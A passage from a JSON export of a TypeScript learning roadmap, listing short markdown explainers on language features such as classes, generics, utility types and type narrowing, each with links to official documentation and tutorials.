    "content": "# Build Tools\n\nTask runners automatically execute commands and carry out processes behind the scenes. This helps automate your workflow by performing mundane, repetitive tasks that you would otherwise waste an egregious amount of time repeating. Common usages of task runners include numerous development tasks such as: spinning up development servers, compiling code (ex. SCSS to CSS), running linters, serving files up from a local port on your computer, and many more!\n\nVisit the following resources to learn more:\n\n- [@official@webpack is a static module bundler for modern JavaScript applications](https://webpack.js.org/)\n- [@official@Vite Next Generation Frontend Tooling](https://vitejs.dev)\n- [@official@Parcel is a zero configuration build tool for the web](https://parceljs.org/)\n- [@official@esbuild is an extremely fast JavaScript bundler and minifier](https://esbuild.github.io/)\n- [@official@swc is a super-fast compiler written in Rust](https://swc.rs/)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/class@tTSITP1W1ymS-njbFb8Ts.md",
    "content": "# Class\n\nA class is a blueprint for creating objects (instances) that share similar characteristics. It defines the properties (data) and methods (functions) that the objects will possess. Classes allow you to create reusable code structures by defining a template that you can then use to instantiate multiple objects with the same basic features.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript Classes](https://www.typescriptlang.org/docs/handbook/2/classes.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/classes@ib0jfZzukYOZ42AdJqt_W.md",
    "content": "# Classes\n\nClasses are blueprints for creating objects, encapsulating data (properties) and behavior (methods) into a single unit. They provide a structured way to define the characteristics and actions that an object of that class can possess. This allows for creating multiple instances of the same object type with consistent properties and methods.\n\nVisit the following resources to learn more:\n\n- [@official@Tutorial - Classes](https://www.typescriptlang.org/docs/handbook/2/classes.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/combining-types@qefnsugcveizVq2TORRgn.md",
    "content": "# Combining Types\n\nCombining types in TypeScript allows you to create new, more complex types from existing ones. This is achieved through features like unions and intersections. A union type lets a variable hold values of different types, while an intersection type combines multiple types into a single type that has all the properties of each individual type. These mechanisms provide flexibility and expressiveness when defining the shape of your data.\n\nVisit the following resources to learn more:\n\n- [@official@Union Types in TypeScript](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#union-types)\n- [@article@Intersection Types in TypeScript](https://www.typescripttutorial.net/typescript-tutorial/typescript-intersection-types/)\n- [@article@Type Aliases](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#type-aliases)\n- [@article@Keyof Type Operator](https://www.typescriptlang.org/docs/handbook/2/keyof-types.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/compiler-options@RrExVb7l2gd0s_TlNdLeD.md",
    "content": "# Compiler Options\n\nCompiler options in TypeScript provide fine-grained control over how the TypeScript compiler (`tsc`) transforms `.ts` files into JavaScript. These options are typically configured within a `tsconfig.json` file or passed directly via the command line.  They dictate aspects like target ECMAScript version, module system, strictness of type checking, source map generation, and many other behaviors of the compilation process.\n\nVisit the following resources to learn more:\n\n- [@official@Compiler Options](https://www.typescriptlang.org/docs/handbook/compiler-options.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/conditional-types@ubGIhi-WLE0EopTYXzmPL.md",
    "content": "# Conditional Types\n\nConditional types in TypeScript allow you to define types that depend on other types, similar to a ternary operator in JavaScript. They enable you to express type relationships that change based on whether a specific type condition is met. This feature makes your type definitions more flexible and capable of handling complex scenarios where the resulting type depends on the structure or nature of another type.\n\nVisit the following resources to learn more:\n\n- [@official@Conditional Types](https://www.typescriptlang.org/docs/handbook/2/conditional-types.html#handbook-content)\n- [@video@Conditional Types - Advanced TypeScript](https://www.youtube.com/watch?v=QFWrbNehKk0)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/constructor-overloading@oxzcYXxy2I7GI7nbvFYVa.md",
    "content": "# Constructor Overloading\n\nConstructor overloading allows a class to have multiple constructors with different parameter lists.  This enables you to create objects of the class in different ways, providing flexibility in initialization based on the provided arguments. Each constructor variation handles the object's initialization differently depending on the types and number of arguments passed during instantiation.\n\nVisit the following resources to learn more:\n\n- [@official@Constructors - TypeScript](https://www.typescriptlang.org/docs/handbook/2/classes.html#constructors)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/constructor-params@3XrKbK5Od2eoM0BLaS4kU.md",
    "content": "# Constructor Parameters\n\nIn TypeScript classes, constructor parameters provide a concise way to define and initialize class properties directly within the constructor's parameter list. By using access modifiers like `public`, `private`, or `protected` before a constructor parameter, TypeScript automatically creates a corresponding class property with that name and assigns the constructor argument's value to it. This streamlines the process of property declaration and initialization, reducing boilerplate code.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Construct](https://www.typescriptlang.org/docs/handbook/2/classes.html#constructors)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/decorators@TRx3wvWnRdJJf5eL-GBG4.md",
    "content": "# Decorators\n\nDecorators are a special kind of declaration that can be attached to a class declaration, method, accessor, property, or parameter. They use the form `@expression`, where `expression` must evaluate to a function that will be called at runtime with information about the decorated declaration. Decorators provide a way to add both annotations and a meta-programming syntax for class declarations and members. They essentially modify the behavior or functionality of the decorated code in a declarative way.\n\nVisit the following resources to learn more:\n\n- [@official@Decorators](https://www.typescriptlang.org/docs/handbook/decorators.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/ecosystem@RqZaWGxxNRItBhVwWKysc.md",
    "content": "# TypeScript Ecosystem\n\nThe TypeScript ecosystem refers to the collection of tools, libraries, frameworks, and resources that support and enhance TypeScript development. It includes everything from build tools and linters to UI libraries and server-side frameworks that have TypeScript definitions available or are specifically designed to work well with TypeScript. The ecosystem also incorporates community resources like documentation, tutorials, and open-source projects that help developers learn and use TypeScript effectively."
  },
  {
    "path": "src/data/roadmaps/typescript/content/enum@bfZIXHceDKDGQl-24kQpT.md",
    "content": "# Enum\n\nAn \"enum\" (short for enumeration) is a way to define a set of named constants. It provides a way to give more friendly names to sets of numeric values, making code more readable and maintainable. Enums allow you to define a type by enumerating its possible values, which can represent options, states, or any other set of distinct possibilities.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Enums](https://www.typescriptlang.org/docs/handbook/enums.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/equality@Wy2yIK5vgLjEcc9VjuQK5.md",
    "content": "# Equality in Type Guards and Narrowing\n\nEquality in the context of type guards and narrowing refers to using comparison operators (like `===`, `!==`, `==`, `!=`) to refine the type of a variable within a TypeScript program. By comparing a variable against a specific value (or another variable), TypeScript can infer a more specific type for that variable within a certain scope, enabling safer and more accurate code execution by ruling out possibilities. This mechanism enhances type safety by allowing the compiler to understand the possible values and types a variable can hold at different points in the code.\n\nVisit the following resources to learn more:\n\n- [@official@Equality Narrowing](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#equality-narrowing)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/exclude@0fvOXi9gJbEc7etqTggNE.md",
    "content": "# Exclude\n\n`Exclude` is a utility type in TypeScript that constructs a new type by removing types from a union type. Given two types, `Type` and `ExcludedUnion`, `Exclude<Type, ExcludedUnion>` creates a type that includes all members of `Type` that are *not* assignable to `ExcludedUnion`. This is useful for filtering out specific types from a union, resulting in a more refined and specific type.\n\nVisit the following resources to learn more:\n\n- [@official@Exclude<UnionType, ExcludedMembers>](https://www.typescriptlang.org/docs/handbook/utility-types.html#excludeuniontype-excludedmembers)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/extending-interfaces@O-9WQqidujLIEOTcOfy4n.md",
    "content": "# Extending Interfaces\n\nExtending interfaces in TypeScript allows you to create new interfaces based on existing ones. This means a new interface can inherit all the properties and methods of a parent interface and add its own unique members, promoting code reuse and establishing a clear hierarchy of types. Think of it like inheritance in classes, but for interface definitions.\n\nVisit the following resources to learn more:\n\n- [@official@Extending Interfaces](https://www.typescriptlang.org/docs/handbook/2/objects.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/external-modules@egQWk1n3p8Pep83yIwCtI.md",
    "content": "# External Modules in TypeScript\n\nExternal modules in TypeScript are files containing code that can be imported and used in other files. They help organize and structure your project by dividing code into logical units, improving maintainability and reusability. Each external module has its own scope, preventing naming conflicts and allowing you to explicitly control what is exposed from the module using `export` and what is consumed from other modules using `import`.\n\nVisit the following resources to learn more:\n\n- [@article@TypeScript - External Module](https://learncodeweb.com/typescript/modules-in-typescript-explain-with-an-example/)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/extract@IIAbAzXiVQm1JEi2MTMZN.md",
    "content": "# Extract\n\nExtract allows you to create a new type by picking out specific types from a union based on a condition.  Essentially, it filters a union type, keeping only those members that are assignable to a specified type. This is useful when you need to narrow down the possible types in a union to only those that meet a certain criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Extract<Type, Union>](https://www.typescriptlang.org/docs/handbook/utility-types.html#extracttype-union)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/formatting@fU8Vnw1DobM4iXl1Tq6EK.md",
    "content": "# Formatting\n\nFormatting tools automatically adjust the way your code looks, making it consistent and easier to read. These tools can handle things like spacing, indentation, and line breaks. This makes your code cleaner and helps everyone on a team follow the same style. A popular tool for formatting code is Prettier. It supports TypeScript and can be configured to enforce a specific style guide.\n\nVisit the following resources to learn more:\n\n- [@article@Prettier Website](https://prettier.io)\n- [@article@Why Prettier](https://prettier.io/docs/en/why-prettier.html)\n- [@article@BiomeJS Website](https://biomejs.dev)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/function-overloading@-0Zp6b8NjDyz9MAQE3HfS.md",
    "content": "# Function Overloading\n\nFunction overloading allows you to define multiple function signatures with the same name but different parameter types or numbers of parameters. This lets you provide specific type information based on how the function is called, enhancing type safety and code clarity. When you call an overloaded function, TypeScript picks the most appropriate function signature based on the provided arguments.\n\nVisit the following resources to learn more:\n\n- [@official@Function Overloads](https://www.typescriptlang.org/docs/handbook/2/functions.html#function-overloads)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/generic-constraints@0NXHAOUYGIwuPwlN7r_B3.md",
    "content": "# Generic Constraints\n\nGeneric constraints in TypeScript allow you to limit the types that can be used as type arguments for a generic type or function. They ensure that the type argument satisfies a specific requirement, like having certain properties or methods. This provides more type safety and enables you to work with specific properties of the generic type, knowing they are guaranteed to exist.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Constraints - TypeScript](https://www.typescriptlang.org/docs/handbook/2/generics.html#generic-constraints)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/generic-types@T2-VAVfntouJOoWHpHZ3n.md",
    "content": "# Generic Types\n\nGeneric types allow you to write code that can work with a variety of types without sacrificing type safety. Think of them as placeholders for types that you specify later when you use the code. To create a generic type, you use angle brackets `<>` to define type parameters. These parameters act as variables that represent the specific type you want to work with, allowing you to write reusable components that adapt to different data types.\n\nVisit the following resources to learn more:\n\n- [@official@Hello World of Generics](https://www.typescriptlang.org/docs/handbook/2/generics.html#hello-world-of-generics)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/generics@4gaKqNtGLFqpk9WVKZl0v.md",
    "content": "# Generics\n\nGenerics are a way to write code that can work with a variety of types without knowing those types ahead of time. They allow you to define type variables that can be used to represent the specific type that will be used when the code is actually executed. This makes your code more reusable and type-safe by preventing errors that could occur if you were to use `any` or other less specific types.\n\nVisit the following resources to learn more:\n\n- [@official@Hello World of Generics](https://www.typescriptlang.org/docs/handbook/2/generics.html#hello-world-of-generics)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/global-augmentation@JQwWeB1gkANSYfQmH69Bs.md",
    "content": "# Global Augmentation\n\nGlobal augmentation in TypeScript lets you add or modify existing global types and interfaces. This is particularly useful when working with JavaScript libraries that don't have TypeScript definitions or when you want to extend existing TypeScript definitions to suit your specific project needs.  It essentially allows you to declare properties or methods on globally available objects (like `window` or built-in JavaScript objects) from within your TypeScript code.\n\nVisit the following resources to learn more:\n\n- [@official@Global augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#global-augmentation)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/hybrid-types@lvtTSHH9yBTCiLng8btnI.md",
    "content": "# Hybrid Types\n\nHybrid types describe objects that act as both an object and a function. In essence, they possess properties and methods like a regular object, but they can also be invoked or called directly like a function. This unusual structure is often used when a function needs to maintain state or have additional properties associated with it."
  },
  {
    "path": "src/data/roadmaps/typescript/content/inheritance-vs-polymorphism@8P0-vb9nlnmz7iC4UvyJZ.md",
    "content": "# Inheritance vs. Polymorphism\n\nInheritance is a mechanism where a class (the subclass or derived class) acquires the properties and methods of another class (the superclass or base class), establishing an \"is-a\" relationship. Polymorphism, meaning \"many forms,\" allows objects of different classes to be treated as objects of a common type, enabling you to write code that can work with objects of multiple classes without knowing their specific types at compile time.\n\nVisit the following resources to learn more:\n\n- [@article@Dev.to - Mastering OOP in TypeScript](https://dev.to/rajrathod/mastering-object-oriented-programming-with-typescript-encapsulation-abstraction-inheritance-and-polymorphism-explained-c6p)\n- [@video@Inheritance and Polymorphism In TypeScript](https://www.youtube.com/watch?v=Sn6K57YSuwU)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/installation-and-configuration@dA8CNQOgJRDa0T7rmyS7f.md",
    "content": "# Installation and Configuration\n\nThe installation process of TypeScript generally includes installing the TypeScript compiler, which translates TypeScript code into JavaScript, and configuring your project with a `tsconfig.json` file to manage compiler options and project settings. This setup enables you to write, compile, and run TypeScript code effectively.\n\nVisit the following resources to learn more:\n\n- [@official@Install and Configure TypeScript](https://www.typescriptlang.org/download)\n- [@article@TypeScript Getting Started](https://thenewstack.io/typescript-tutorial-a-guide-to-using-the-programming-language/)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/instanceof@EDOU5a7UK17yp3PdFBJMc.md",
    "content": "# instanceof Operator\n\nThe `instanceof` operator checks if an object is an instance of a specific class or constructor function. It determines if the prototype property of a constructor appears anywhere in the prototype chain of an object. The result of this check is a boolean value, indicating whether the object is considered an instance of the specified type.\n\nVisit the following resources to learn more:\n\n- [@official@instanceOf Operator](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#instanceof-narrowing)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/instancetype@izGAjNtrh3BzQt3KiZX0W.md",
    "content": "# InstanceType\n\n`InstanceType` is a conditional type in TypeScript that extracts the instance type of a constructor function type. In simpler terms, given a type that represents a class or a constructor function, `InstanceType` determines the type of the object that would be created when you use the `new` keyword with that constructor. This allows you to easily work with the specific type of instances generated by a class constructor within your type system.\n\nVisit the following resources to learn more:\n\n- [@official@InstanceType<Type>](https://www.typescriptlang.org/docs/handbook/utility-types.html#instancetypetype)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/interface-declaration@fY40W8prpgiNqRL50w7ub.md",
    "content": "# Interface Declaration\n\nAn interface declaration introduces a new named type into the TypeScript type system. It specifies a contract that an object (or other type) can adhere to, defining the names and types of properties and methods that implementing objects must possess. Interfaces do not produce JavaScript code; they exist purely for type-checking purposes, enabling stronger static typing and improved code maintainability.\n\nVisit the following resources to learn more:\n\n- [@official@Extending Interfaces](https://www.typescriptlang.org/docs/handbook/2/objects.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/interface@mVKsM7R4Ivpdhnbwt1aRb.md",
    "content": "# Interface\n\nAn interface in TypeScript is a way to define a contract for the shape of an object. It names a set of properties and their types that an object must have. Think of it as a blueprint that specifies the properties (and optionally, methods) that an object should possess, allowing you to ensure that different parts of your code work together smoothly by enforcing a consistent structure.\n\nVisit the following resources to learn more:\n\n- [@official@Object Types - Interfaces](https://www.typescriptlang.org/docs/handbook/2/objects.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/intersection-types@RWYXEZMODUrqwRWf_Lqi9.md",
    "content": "# Intersection Types\n\nIntersection types in TypeScript allow you to combine multiple types into a single type. The resulting type has all the features (properties, methods, etc.) of all the constituent types. This is particularly useful when you want to create a type that represents an object that must satisfy multiple type constraints simultaneously.\n\nVisit the following resources to learn more:\n\n- [@article@Intersection Types in TypeScript](https://www.typescripttutorial.net/typescript-tutorial/typescript-intersection-types/)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/introduction-to-typescript@KDd40JOAvZ8O1mfhTYB3K.md",
    "content": "# Introduction to TypeScript\n\nTypeScript is a programming language that builds on JavaScript by adding static types. It essentially acts as a superset of JavaScript, meaning that all valid JavaScript code is also valid TypeScript code. The key addition of static typing allows developers to define the expected data types of variables, function parameters, and return values, which helps catch errors during development and improves code maintainability.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of TypeScript](https://www.typescriptlang.org/docs/handbook/typescript-from-scratch.html)\n- [@official@TypeScript Official Handbook](https://www.typescriptlang.org/docs/handbook/intro.html)\n- [@article@What Is TypeScript?](https://thenewstack.io/what-is-typescript/)\n- [@video@Video: Where TypeScript Excels](https://youtu.be/BUo7B6UuoJ4)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/keyof-operator@t1Tcesfq7bV2TkHcfD6lU.md",
    "content": "# keyof Operator\n\nThe `keyof` operator in TypeScript creates a union of all the keys (property names) of a given object type. It essentially extracts the names of the properties as string literal types. This allows you to work with the properties of an object type in a type-safe way, especially when dealing with generic functions or situations where you need to ensure that you're only accessing valid properties.\n\nVisit the following resources to learn more:\n\n- [@official@keyof Type Operator](https://www.typescriptlang.org/docs/handbook/2/keyof-types.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/linting@8PcAPOrKisKRYPWamz4nV.md",
    "content": "# Linting\n\nLinting is the process of running a program that analyzes code for potential errors, stylistic issues, and code quality problems. It helps developers identify and fix issues early in the development cycle, leading to more maintainable and consistent codebases. ESLint is a popular linting tool for JavaScript and TypeScript that can be configured with rules to enforce specific coding standards and best practices.\n\nVisit the following resources to learn more:\n\n- [@article@ESLint Official Website](https://eslint.org/)\n- [@article@Introduction to ESLint](https://dev.to/shivambmgupta/eslint-what-why-when-how-5f1d)\n- [@video@ESLint Quickstart - find errors automatically](https://www.youtube.com/watch?v=qhuFviJn-es)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/literal-types@CWzGwvl6NwYCaLYSLIjqQ.md",
    "content": "# Literal Types\n\nLiteral types are a feature that allows you to specify the exact value a variable can hold. Instead of just saying a variable is a `string` or a `number`, you can specify that it can only be a particular string like `\"hello\"` or a particular number like `42`. This enables more precise type checking and helps catch errors at compile time by ensuring that variables only hold the intended values.\n\nVisit the following resources to learn more:\n\n- [@official@Literal Types](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#literal-types)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/mapped-types@VQ-V9qIdKgnpSJg2UnpuB.md",
    "content": "# Mapped Types\n\nMapped types in TypeScript allow you to create new types based on existing ones by transforming each property. They iterate over the keys of an existing type and apply a transformation to each key and/or value, effectively mapping the original type to a new type structure. This provides a concise and powerful way to generate types that are variations of other types, promoting code reuse and reducing redundancy.\n\nVisit the following resources to learn more:\n\n- [@official@Mapped Types](https://www.typescriptlang.org/docs/handbook/2/mapped-types.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/method-overriding@aknqutxN2WDQ4RFcT-szM.md",
    "content": "# Method Overriding\n\nMethod overriding allows a subclass to provide a specific implementation for a method that is already defined in its superclass. When a method in a subclass has the same name, same parameters, and same return type (or a more specific return type, known as covariant return type) as a method in its superclass, the subclass's method overrides the superclass's method. This means that when the method is called on an object of the subclass, the subclass's version of the method will be executed instead of the superclass's version.\n\nVisit the following resources to learn more:\n\n- [@official@TypeScript - Overriding Methods](https://www.typescriptlang.org/docs/handbook/2/classes.html#overriding-methods)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/namespace-augmentation@16TT8R4N-9tCfWmPetqMP.md",
    "content": "# Namespace Augmentation\n\nNamespace augmentation in TypeScript allows you to add new properties or methods to an existing namespace, even if that namespace is defined in a separate file or module. This feature is particularly useful for extending namespaces declared in external libraries or modules without directly modifying the original source code. It provides a way to customize or add functionality to existing namespaces in a modular and organized manner.\n\nVisit the following resources to learn more:\n\n- [@official@Module Augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/namespaces@EtVwQ4lnWi3IIFHGb2Qib.md",
    "content": "# Namespaces\n\nNamespaces in TypeScript are a way to organize code into logical groups, preventing naming collisions and improving code maintainability. They create a named container where you can define variables, functions, classes, and interfaces. By using namespaces, you can encapsulate related functionality under a specific name, making your code more structured and easier to understand.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of Namespaces](https://www.typescriptlang.org/docs/handbook/namespaces.html)\n- [@official@Namespaces and Modules](https://www.typescriptlang.org/docs/handbook/namespaces-and-modules.html)\n- [@official@TypeScript - Using Namespaces](https://typescriptlang.org/docs/handbook/namespaces-and-modules.html#using-namespaces)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/never@0pi9VTbngcAIswuu5LIYg.md",
    "content": "# Never Type\n\nThe `never` type in TypeScript represents the type of values that will never occur. This means a function that always throws an error or runs forever (infinite loop) implicitly returns `never`. It is also useful for exhaustive checking in discriminated unions, ensuring that all possible cases are handled. Essentially, you cannot assign any type to a variable of type `never` (except `never` itself), making it the bottom type in TypeScript's type system.\n\nVisit the following resources to learn more:\n\n- [@official@Never Type](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#the-never-type)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/non-null-assertion@mjaL5ocLnM8VQlhUxW6KU.md",
    "content": "# Non-null Assertion\n\nThe non-null assertion operator in TypeScript is a way to tell the compiler that you are certain a value is not null or undefined, even if the TypeScript's type checker thinks it could be. It is denoted by an exclamation mark (`!`) placed after a variable or expression. Using this operator effectively tells the compiler to suppress strict null checks for that particular expression, trusting that you, the developer, have enough context to know the value will be present at runtime.\n\nVisit the following resources to learn more:\n\n- [@official@Non-null assertion operator](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-0.html#non-null-assertion-operator)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/nonnullable@_BAZlBEzE7ddr315OeHvl.md",
    "content": "# NonNullable Utility Type\n\n`NonNullable` is a utility type that removes `null` and `undefined` from a type. If you have a type that could potentially be `null` or `undefined`, applying `NonNullable` ensures that the resulting type will only consist of the original type's other possible values, effectively guaranteeing that `null` and `undefined` are excluded."
  },
  {
    "path": "src/data/roadmaps/typescript/content/null@cjAwawhZLo1qVQ93XIdm2.md",
    "content": "# Null Type in TypeScript\n\nThe `null` type represents the intentional absence of a value. It's a primitive data type that has only one possible value: `null`. It signifies that a variable or property has no value assigned to it, or that a value has been explicitly removed.\n\nVisit the following resources to learn more:\n\n- [@official@null and undefined](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#null-and-undefined)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/number@UH9d3cvGy_e67WFNFwCyf.md",
    "content": "# Number Type in TypeScript\n\nThe `number` type in TypeScript represents numeric values. This includes integers (whole numbers like 1, 42, -10) and floating-point numbers (numbers with decimal points like 3.14, -0.5).  TypeScript uses double-precision 64-bit floating point format (IEEE 754) to represent all numbers.\n\nVisit the following resources to learn more:\n\n- [@official@Number, String, Boolean, Symbol and Object](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#the-primitives-string-number-and-boolean)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/object@vnqvm_WiaKqpdxrW4wRGa.md",
    "content": "# Object Types in TypeScript\n\nIn TypeScript, an object type defines the structure of a JavaScript object. It specifies the names, types, and optionality of the properties an object should have. You can define object types using curly braces `{}` and listing the properties with their corresponding types, separated by semicolons or commas. This allows TypeScript to enforce that objects conform to a specific shape, enhancing code safety and providing better autocompletion during development.\n\nVisit the following resources to learn more:\n\n- [@official@Object Types in TypeScript](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#object-types)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/omit@yjlxygHl8QONNUrdx-Q0A.md",
    "content": "# Omit\n\n`Omit` is a utility type in TypeScript that constructs a new type by picking all properties from an existing type and then removing the specified properties (keys). Essentially, it creates a subset of the original type by excluding certain keys you define. The resulting type will only contain the properties that were not omitted.\n\nVisit the following resources to learn more:\n\n- [@official@Omit<Type, Keys>](https://www.typescriptlang.org/docs/handbook/utility-types.html#omittype-keys)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/parameters@a7hl0iMZ-jcUACxqIYVqv.md",
    "content": "# Parameters Utility Type\n\nThe `Parameters` utility type in TypeScript extracts the parameter types of a function type into a tuple. This allows you to programmatically determine the expected arguments of a function and use them in other type definitions, providing type safety and flexibility when working with function signatures. The result is a tuple type where each element represents the type of a parameter in the function."
  },
  {
    "path": "src/data/roadmaps/typescript/content/partial@gBTem9Dp3IQLAkqGX4fOF.md",
    "content": "# Partial Type\n\nThe `Partial<Type>` utility type in TypeScript constructs a type where all properties of the original `Type` are set to optional. This means that when you use `Partial<Type>`, you can create objects that only include a subset of the properties defined in the original `Type`, or even have no properties at all. Essentially, it makes all properties of a type nullable."
  },
  {
    "path": "src/data/roadmaps/typescript/content/pick@E88tHQvARkHURZwGaO02l.md",
    "content": "# Pick\n\n`Pick` is a utility type that constructs a new type by selecting a set of properties from an existing type. You specify which properties you want to include in the new type using their keys. This is useful when you need a subset of properties from a larger type definition.\n\nVisit the following resources to learn more:\n\n- [@official@Pick<Type, Keys>](https://www.typescriptlang.org/docs/handbook/utility-types.html#picktype-keys)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/readonly@IuO9-O_DQdDYuAbdGWdgb.md",
    "content": "# Readonly\n\nThe `Readonly` utility type in TypeScript constructs a new type where all properties of the original type are set as read-only. This means that once a property is initialized, its value cannot be changed later. This is useful for creating immutable objects and ensuring that data is not accidentally modified."
  },
  {
    "path": "src/data/roadmaps/typescript/content/record@DRdBmF5Dt_r09LoPOxOuq.md",
    "content": "# Record Utility Type\n\nThe `Record` utility type in TypeScript is used to construct a new type where the keys are of a specific type (typically a string, number, or symbol) and the values are of another specified type. This is useful when you want to define an object structure with a predefined set of keys and a consistent type for the values associated with those keys. Essentially, it's a shorthand for defining object types with specific key-value pairings.\n\nVisit the following resources to learn more:\n\n- [@official@Record<Keys, Type>](https://www.typescriptlang.org/docs/handbook/utility-types.html#recordkeys-type)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/recursive-types@N8xBTJ74xv1E5hSLYZtze.md",
    "content": "# Recursive Types\n\nRecursive types in TypeScript allow you to define types that refer to themselves. This is especially useful for representing data structures that have a nested or hierarchical structure, like trees or linked lists. By using recursion in type definitions, you can ensure that the type system accurately reflects the self-referential nature of these data structures, enabling strong type checking throughout your code.\n\nVisit the following resources to learn more:\n\n- [@official@Recursive Types in TypeScript](https://www.typescriptlang.org/play/3-7/types-and-code-flow/recursive-type-references.ts.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/returntype@On75JR_UkiIlha0_qaSeu.md",
    "content": "# ReturnType\n\n`ReturnType` is a utility type that extracts the return type of a function. Given a function type, `ReturnType<Type>` produces a new type that represents the type of value that the function returns. This is useful when you need to work with the output of a function without knowing its exact return type beforehand."
  },
  {
    "path": "src/data/roadmaps/typescript/content/running-typescript@qdy4ZIY2EKgmPNdu_ndcg.md",
    "content": "# Running TypeScript\n\nRunning TypeScript involves converting your `.ts` files into JavaScript files that can be executed by a JavaScript runtime environment, such as a web browser or Node.js. This conversion, known as compilation or transpilation, is performed by the TypeScript compiler (`tsc`). After compilation, the resulting JavaScript files can then be run in the appropriate environment, allowing you to leverage the benefits of TypeScript during development while maintaining compatibility with standard JavaScript execution environments.\n\nVisit the following resources to learn more:\n\n- [@official@Running your TypeScript](https://www.typescriptlang.org/docs/handbook/typescript-tooling-in-5-minutes.html)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/satisfies-keyword@HD1UGOidp7JGKdW6CEdQ_.md",
    "content": "# Satisfies Keyword\n\nThe `satisfies` keyword in TypeScript is used to ensure that a value conforms to a specific type without explicitly declaring that type. This is particularly useful when you want to check that an object's structure matches a type definition but still allow TypeScript to infer a more specific type for the object's properties. It validates the shape of the value against the specified type, and if valid it retains the initial type information.\n\nVisit the following resources to learn more:\n\n- [@official@satisfies Keyword](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html#the-satisfies-operator)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/string@d8iV-IBZ6cSnH8Z5_HRmc.md",
    "content": "# String\n\nA string represents a sequence of characters. It's used to store and manipulate textual data, like words, sentences, or any sequence of symbols.  Strings are typically enclosed in single quotes (`'...'`), double quotes (`\"...\"`), or backticks (`` `...` ``).\n\nVisit the following resources to learn more:\n\n- [@official@Number, String, Boolean, Symbol and Object](https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#the-primitives-string-number-and-boolean)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/template-literal-types@xP25nGw42VqdfZ_9pDMXd.md",
    "content": "# Template Literal Types\n\nTemplate literal types in TypeScript are a way to create new string literal types by combining existing string literal types, much like template literals in JavaScript. They allow you to define string types that are composed of other string types with specific patterns or structures. This is done by embedding other types within a string literal definition, enabling you to enforce stricter type safety and create more descriptive types based on string manipulation.\n\nVisit the following resources to learn more:\n\n- [@official@Template Literal Types](https://www.typescriptlang.org/docs/handbook/2/template-literal-types.html#handbook-content)"
  },
  {
    "path": "src/data/roadmaps/typescript/content/truthiness@Xonbxc7MvMEonKBvbkCAH.md",
    "content": "# Truthiness\n\nTruthiness in TypeScript, as in JavaScript, refers to the concept of a value evaluating to `true` when encountered in a Boolean context.  Certain values are inherently \"truthy\" while others are \"falsy.\"  TypeScript uses this understanding to refine the type of a variable based on the outcome of a truthiness check, effectively narrowing its potential types to those that are compatible with a `true` outcome. This allows for more precise type checking within conditional blocks.\n\nVisit the following resources to learn more:\n\n- [@official@Truthiness Narrowing](https://www.typescriptlang.org/docs/handbook/2/narrowing.html#truthiness-narrowing)"
  },
  {
